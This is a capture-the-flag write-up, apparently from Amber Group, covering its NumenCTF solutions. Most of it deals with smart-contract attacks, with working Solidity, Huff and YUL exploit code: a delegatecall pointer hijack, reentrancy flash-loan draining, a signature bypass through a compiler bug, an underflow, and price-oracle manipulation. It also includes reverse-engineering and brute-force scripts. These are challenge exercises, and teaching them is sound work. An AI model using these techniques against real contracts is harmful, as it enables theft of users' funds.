NumenCTF Writeup

Amber Group
13 min readApr 19, 2023

--

Amber Group’s security team secured third place

Introduction

Numen Cyber, a cyber security solutions provider, organized a security competition named NumenCTF from March 29th to 31st. The event attracted over 100 security teams and enthusiasts who participated in the challenges related to smart contract security, reverse engineering, and cryptography to test their expertise. Amber Group’s security team participated and secured third place by solving 13 out of 16 challenges. We would like to congratulate the other two winners, Team ChainLight and Team KALOS, and thank Numen Cyber for organizing the event.

In this blog post, we will discuss the challenges we solved during the 48-hour war game.

MoveToCrackme

One of the challenges we tackled was MoveToCrackme, which involved a MOVE language decryption program. The goal was to reverse engineer the decryption algorithm and obtain the correct inputs to make the challenge program correctly produce an executable ELF file. Eventually, the challenger could retrieve the hidden flag from the ELF file. We used ChatGPT to convert the program from MOVE to Python, resulting in a cleaner and more readable code.

def core1(buffer, gear):
# Convert gear to tmp1
tmp1 = [(b // 10) * 16 + (b % 10) if b >= 10 else b for b in gear]

# XOR buffer and tmp1
out_elf = [data ^ tmp1[i % len(tmp1)] for i, data in enumerate(buffer)]

# Print result
print(out_elf)

def core(buffer1, key):
a11, a12, a13, a21, a22, a23, a31, a32, a33 = key
appendbuf = [3, 12, 10, 0, 15, 14, 11, 12, 11] + buffer1
p1, p2, p3, p4, p5, p6, p7, p8, p9 = buffer1[0:9]

assert a11 + a12 + a13 == p4 * 2
assert a11 + a12 + a13 < p1 + p2 + p3
assert a21 + a22 + a23 > p4 + p5 + p6
assert a31 + a32 + a33 < p7 + p8 + p9

encodebuf = []
for i in range(0, len(appendbuf), 3):
p11, p21, p31 = appendbuf[i:i+3]
c11 = (a11 * p11 + a12 * p21 + a13 * p31) % 29
c21 = (a21 * p11 + a22 * p21 + a23 * p31) % 29
c31 = (a31 * p11 + a32 * p21 + a33 * p31) % 29
encodebuf.extend((c11, c21, c31))
return encodebuf

def ctf_decrypt(buffer1, data2):
encrypted_index = [ 32, 163, 89, … ]
ss1 = [ 0x7B, 0x43, … ] # omitted long vector

encrypted_flag = []
for idx in encrypted_index:
encrypted_flag.append(ss1[idx])

if core(buffer1, data2) == encrypted_flag:
buffer1.extend(data2)
core1(ss1, buffer1)
else:
assert False

To summarize, our goal was to identify a pair of inputs, buffer1 and data2, that would enable the core() function to generate a specific encrypted_flag. The z3 solver came into our mind as the core() function has lots of arithmetic operations. We modified the Python code generated by ChatGPT with the z3 solver, as demonstrated in the following code snippets.

def core(data, key, s):
a11, a12, a13, a21, a22, a23, a31, a32, a33 = key
appendbuf = [3, 12, 10, 0, 15, 14, 11, 12, 11] + data
p1, p2, p3, p4, p5, p6, p7, p8, p9 = data[0:9]

s.add(a11 + a12 + a13 == p4 * 2)
s.add(a11 + a12 + a13 < p1 + p2 + p3)
s.add(a21 + a22 + a23 > p4 + p5 + p6)
s.add(a31 + a32 + a33 < p7 + p8 + p9)

encodebuf = []
for i in range(0, len(appendbuf), 3):
p11, p21, p31 = appendbuf[i:i+3]
c11 = (a11 * p11 + a12 * p21 + a13 * p31) % 29
c21 = (a21 * p11 + a22 * p21 + a23 * p31) % 29
c31 = (a31 * p11 + a32 * p21 + a33 * p31) % 29
encodebuf.extend((c11, c21, c31))
return encodebuf
def ctf_decrypt(data, key):
s = Solver()

data = [BitVec(f'data_{i}', 18) for i in range(63)]
key = [BitVec(f'key_{i}', 18) for i in range(9)]

# add constrains
[s.add(d>=0, d<=32) for d in data]
[s.add(k>=0, k<=32) for k in key]

# core
core_result = core(data, key, s)
for i in range(len(encrypted_flag)):
s.add(core_result[i] == encrypted_flag[i])

The z3 solver did solve the problem but the binary stream generated by core1() turned out to be an invalid ELF stream, indicating that there was more than one solution to the core() function. To address this, we imposed additional constraints to the z3 solver by restricting the elements to the range of 0–32.

# add constrains
[s.add(d>=0, d<=32) for d in data]
[s.add(k>=0, k<=32) for k in key]

Although this produced an ELF file, some of the bytes were broken. For instance, the expected string “/lib/ld-linux.so.2” was instead displayed as “/lib/]d-linux\007Bo.2”.

$ file output 
output: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/]d-linux\007Bo.2, missing section headers at 3228692

By imposing additional constraints on the known and corrupted characters, we were able to obtain a valid executable ELF using core1().

core1_result = core1(ss1, data+key)
s.add(core1_result[313] == ord('l'))
s.add(core1_result[315] == ord('-'))
s.add(core1_result[322] == ord('s'))
s.add(core1_result[342] == ord('U'))
s.add(core1_result[559] == ord('b'))
s.add(core1_result[563] == ord('o'))
s.add(core1_result[321] == ord('.'))
s.add(core1_result[623] == ord('s'))
s.add(core1_result[586] == ord('o'))
s.add(core1_result[575] == ord('n'))
s.add(core1_result[588] == ord('9'))

Upon executing the ELF on a Linux environment, a menu with three options were displayed, but none of them revealed the final flag. By reverse-engineering the ELF using IDA Pro, we discovered the hidden option labeled 31337, which, when selected, printed out the flag.

Menu:

[1] Say hello
[2] Add numbers
[3] Quit


[>] 31337
Wow such h4x0r!
flag{much_reversing_very_ida_wow}

MerkleCounter

To solve this challenge, the verify() function should be invoked with a (k, v) pair and a valid merkle tree proof. However, as shown in the following code snippet, the input (k, v) pair was a missing pair which was not listed in the constructor().

function verify(bytes32[] memory proof,string memory k,string memory v) public {
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(k, v))));
require(bytes(verified[k]).length<1,"Already verified");
require(MerkleProof.verify(proof, root, leaf), "Invalid proof");
verified[k]=v;
flag = true;
emit log_string("success");
}

constructor() {
verified["39191"]="83928";
verified["13993"]="13202";
verified["03476"]="37156";
verified["17734"]="98544";
verified["09612"]="03558";
verified["14300"]="01638";
verified["25883"]="61681";
verified["38761"]="72046";

As hinted by the constructor(), all k and v in the tree are 5-digit numbers. The search space for the missing pair is between 0 and 1⁰¹⁰. We firstly used OpenZeppelin’s javascript library (https://github.com/OpenZeppelin/merkle-tree) for brute-force searching the target (k, v) pair but soon realized that we need a native solution to do that with limited time.

Later, we found a Rust merkle tree crate (https://github.com/literallymarvellous/merkle-tree-rs/). However, the performance was not good enough. Then, we optimized it by pre-calculating the hashes for every leaf and re-using the immediate results for each round, which could be achieved by using internal APIs in the crate.

    # caculate hashes in advance
let mut hashed_values: Vec<HashedValues> = values
.iter()
.enumerate()
.map(|(i, v)| HashedValues {
value: (*v).to_vec(),
value_index: i,
hash: standard_leaf_hash(v.clone(), &leaf_encode),
})
.collect();
hashed_values.sort_by(|a, b| a.hash.cmp(&b.hash));

let next_idx = hashed_values.len();

# brute force loop
for i in start..end {
# calculate the hash for brute force element
let i_str = format!("{:0>10}", i.to_string());
let value = vec![i_str[..5].to_string(), i_str[5..].to_string()];
let new_hash = HashedValues {
value: (*value).to_vec(),
value_index: next_idx,
hash: standard_leaf_hash(value.clone(), &leaf_encode),
};

let index = match hashed_values.binary_search_by(|probe| probe.hash.cmp(&new_hash.hash)) {
Ok(index) => index,
Err(index) => index,
};

hashed_values.insert(index, new_hash);

# get the merkle tree
let tree = make_merkle_tree(hashed_values.iter().map(|v| v.hash.clone()).collect());
let root = &tree[0];
let target_root = &Bytes::from_str("0x139dbeaa356c79aaa48d4ea57d05243da57fef0ffa76b2fc5729faf0f00e096f").unwrap();

// let target_root = Bytes;
if root == target_root {
println!("match i {} i_str {} ", i, i_str);
break;
}

hashed_values.remove(index);
}

Even with the optimization, the brute force program still consumed around 8 hours computation time on a 192-core AWS machine. Luckily we can get the flag before the end of the competition and submit the flag in the overtime window.

LittleMoney

The LittleMoney challenge requires emitting the SendFlag log inside the payforflag() function, which is protected by the onlyOwner modifier.

function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
}

Although it seems impossible to get the flag without the owner’s permission, the delegatecall in the execute() function allows us to hijack the execution with a target contract. However, we couldn’t simply modify the owner as the statement after the delegatecall requires the delegatecall to be reverted.

function execute(address target) external checkPermission(target){
(bool success,) = target.delegatecall(abi.encode(bytes4(keccak256("func()"))));
require(!success,"no cover!");
uint b;
uint v;
(b,v) = getReturnData();
require(b == block.number);
func memory set;
set.ptr = renounce;
assembly {
mstore(set, add(mload(set),v))
}
set.ptr();
}

Further investigation revealed that the target contract was supposed to return two uint256 values; the first one had to be equal to block.number, and the second one would be added to a function pointer that would be called later. This provided an opportunity to control the PC and skip checks to jump to the emit SendFlag code block.

Next, we aimed to implement the target contract, which was challenging as the calcCode inside checkPermission restricted the size of the contract to 0~12 bytes. We used the huff assembly language and found that the PC of the emit code block, JUMPDEST, was placed before the renounce function, meaning they had to overflow the addition to make the pointer point to the target destination, which was 0xffffffcb.

However, fitting this value into the 12-byte contract was difficult. Therefore, we utilized another helper contract to call this challenge contract. During the delegatecall, we used the CALLER opcode to obtain the helper contract address and called the helper contract. The helper contract’s fallback function returned the satisfied values, which the target contract forwarded to the challenge contract.

#define macro MAIN() = {
0x40 dup1 selfbalance
selfbalance selfbalance // arg
caller gas staticcall // staticcall push 0 on stack
revert
}
fallback() external {
assembly {
mstore(0, number())
mstore(0x20, 0xffffffcb)
revert(0, 0x40)
}
}

Finally, the challenge contract would jump into the emit code block and get the flag.

Asslot

The objective of this challenge was to create a 12-byte contract similar to LittleMoney. The contract is called through a staticcall within a for loop that iterates 4 times. In each iteration, the returned value from the staticcall must match the current iteration counter. To keep track of the iteration count, we could use gas usage. However, this method of iteration tracking would cause the code size to exceed 12 bytes.

To solve this problem, we used delegatecall to call a helper contract from our tiny 12-byte contract. The address of the helper contract couldn’t be included within the bytecode of the 12-byte contract. Instead, we stored the address of the helper contract in the storage of the 12-byte contract inside its constructor. We then loaded the stored address into the stack to use as an argument for the delegatecall.

#define macro MAIN() = {
0x20 dup1 selfbalance // ret
selfbalance selfbalance // arg
selfbalance sload // target
gas delegatecall // delegatecall revert push 0
return
}
fallback() external {
if (!staticcall) {
staticcall = true;
asslot.f00000000_bvvvdlt{gas: 10000}();
return;
}
uint base = 8800;

if (gasleft() > base) {
assembly {
mstore(0, 0)
revert(0, 0x20)
}
}
if (gasleft() > base-1000) {
assembly {
mstore(0, 1)
revert(0, 0x20)
}
}
if (gasleft() > base - 2000) {
assembly {
mstore(0, 2)
revert(0, 0x20)
}
}
if (gasleft() > base-5000) {
assembly {
mstore(0, 3)
revert(0, 0x20)
}
}
revert("end");
}

Wallet

In this challenge, we were presented with a multisig wallet whose signer addresses were hardcoded into the contract. These addresses belonged to Hardhat test accounts. Initially, we thought that we could solve the challenge by using the private keys of the signers to sign transactions and transfer out assets. However, we encountered a strange error: the ecrecover function always returned 0.

After some investigation, we discovered that there was a compiler bug in solidity 0.8.15 that was causing the memory to become corrupted. To solve the challenge, we simply supplied a SignedByowner array with all signatures zeroed out, as follows:

function go() external { 
SignedByowner[] memory signs = new SignedByowner[](3);
for (uint i=0 ; i<3 ;i++ ) {
signs[i].holder.approve = true;
signs[i].holder.user = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
}
IFoo(victim).transferWithSign(msg.sender, 100000000000000000000, signs);
}

ChatGPT

Numen recently published a blog post describing a vulnerability they found in APTOS Move VM. You can read the post here: https://medium.com/numen-cyber-labs/analysis-of-the-first-critical-0-day-vulnerability-of-aptos-move-vm-8c1fd6c2b98e

To complete the challenge, you will need to view the 1.mv.jpg file provided in the challenge using a hex viewer:

The file is the same as the one in the blog post.

​To obtain the flag, you need to submit a patch commit that fixes the vulnerability.

https://github.com/move-language/move/commit/566ace5a9ec01e0e685f4bfba79072fe635a6cb2

HEXP

After decompiling the bytecode inside the challenge, we learned that we need a proper gas price for a given block hash. Fortunately, we could obtain the block hash by looking back 10 blocks from the current block. This meant that we could retrieve the latest block hash, calculate the appropriate gas price, and keep sending out transactions with the pre-calculated gas price until we hit the target block.

contract Contract {
function main() {
var var0 = block.blockHash(block.number - 0x0a) & 0xffffff;

if (var0 == tx.gasprice & 0xffffff) { return memory[0x00:0x00]; }

var var1 = 0x33;
assert();
}
}

Counter

The objective was to modify the owner of this challenge contract. The challenge contract will deploy and delegate the contract we provide. However, there was a restriction that the bytecode of our contract must be less than 24 bytes. To achieve this, we implemented the owner modification logic using YUL, as follows:

object "Solve" {
code {
sstore(0, caller())
codecopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}


object "runtime" {
code {
return (0, 0x20)
}
}
}

GOATFinance

The aim of the challenge was to ensure that balances[msg.sender] is larger than 10000000, but with time-limited Airdrop() and withdraw() functions that increase balances[msg.sender].​

To achieve this, we must modify the ReferrerFees and transferRate by calling the DynamicRew() function. To bypass the restrictions in DynamicRew(), we need to input the correct _msgsender and _blocktimestamp. Then, we noticed that the msgsender string inside the challenge contract was missing one byte. We tried all possibilities to locate the missing byte and successfully obtained the flag.

LenderPool

This challenge involved a contract with flash loan and swap functions. However, the swap function was not protected by a reentrancy guard. This meant that we could call the swap function inside the flash loan callback.

To drain token0 from the pool, we first called the flashloan() function to obtain token0. Then, in the callback function, we swapped out token1 using token0 that we just received. After that, we used token1 to swap out token0, allowing us to successfully drain token0 from the pool.

function go() external {
pool = IBar(victim).lenderPool();
token0 = IFoo(pool).token0();
token1 = IFoo(pool).token1();
IERC20(token0).approve(pool, 100000000000000000000);
IERC20(token1).approve(pool, 100000000000000000000);
IFoo(pool).flashLoan(100000000000000000000, address(this));
IFoo(pool).swap(token0, 100000000000000000000);
require(IERC20(token0).balanceOf(pool) == 0, "!solved");
}

function receiveEther(uint256) external {
IFoo(pool).swap(token1, 100000000000000000000);
}

Exist

The objective of this challenge was to call share_my_vault, a function that was protected by the only_EOA and only_family modifiers. The only_EOA modifier restricted the caller to be an externally owned account (EOA), with the implementation checking for a zero code size. Unfortunately, this was vulnerable as contracts could have a zero code size at deployment time. Furthermore, the is_my_family modifier placed restriction on the caller address. Nevertheless, we could bypass this restriction by deploying contracts with create2 until we created one with an address that passed the check.

SimpleCall

In solidity ^0.7.0, there’s no default arithmetic overflow check. As a result, the balanceOf of a specific account could be underflowed inside the transfer function.

function transfer(address _to, uint _value) public returns (bool) {
require(balanceOf[msg.sender] - _value >= 0);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
return true;
}

MoveToCheckin

The objective of this challenge was to call the HelloHackers function with the argument “hello”.

sui client call --package <PACKAGE_ID> --module checkin --function HelloHackers
--gas-budget 30000 --args "hello"

ApplePool

The challenge set up two Uniswap V2 pairs, pair1 (token0, token1) and pair2 (token1, token2), each with 10,000 token balances for both tokens. Additionally, there was an AppleRewardPool contract that had two pools with token1 and token2 as the deposit tokens. Each pool has 10,000 token2 and 10,000 token3 as the reward tokens, respectively. The logic behind is depositing some deposit tokens into AppleRewardPool and getting some reward tokens out. The challenger needs to start from zero tokens, drain all token3 from the AppleRewardPool contract, and get the flag.

In the AppleRewardPool contract, the rate() and rate1() functions calculate how many reward tokens you can get after depositing tokens into pool1 and pool2. As shown in the following code snippets, the rate() function used in pool1 derived the _price based on the token balances of pair1, which was prone to flashloan-based price manipulation attacks.

function rate() public view returns(uint256) {
uint256 _price;
address _token0 = UniswapV2pair(pair1).token0();
address _token1 = UniswapV2pair(pair1).token1();
uint256 amount0 = IERCLike(_token0).balanceOf(pair1);
uint256 amount1 = IERCLike(_token1).balanceOf(pair1);
_price = amount0.mul(1e18).div(amount1);
return _price;
}

Specifically, we could take 9999 token1 out from pair1 using flashloan to inflate the rate to 10,000*1e18 and get 10k token2 out by depositing only one token1 to the pool. After withdrawing the one token1 from the pool, we can repay the 9,999 token1 flash loan since this Uniswap pair was fee-free. Now, we were rewarded with 10,000 token2 with zero cost.

The pool2 used the rate1() function, which instead derived the reward rate with the amount of reserved tokens as shown in the following code snippets:

function rate1() public view returns(uint256) {
uint256 _price;
(uint256 _amount0, uint256 _amount1,) = UniswapV2pair(pair2).getReserves();
_price = _amount1.div(_amount0).div(2).mul(1e18);
return _price;
}

With 10,000 token2 in the pocket, we can first manipulate the price to 1e18 by swapping 5000 token2 into pair2. The math behind was:

amount0 = 10000 + 5000
= 15000
amount1 = (10000*10000)/15000
= 6666
_price = 15000.div(6666).div(2).mul(1e18)
= 2.div(2).mul(1e18)
= 1e18

Then, we could deposit & withdraw twice with the remaining 5000 token2 for collecting 5000 token3 rewards consecutively, leading to the successful draining of all 10,000 token3.

--

--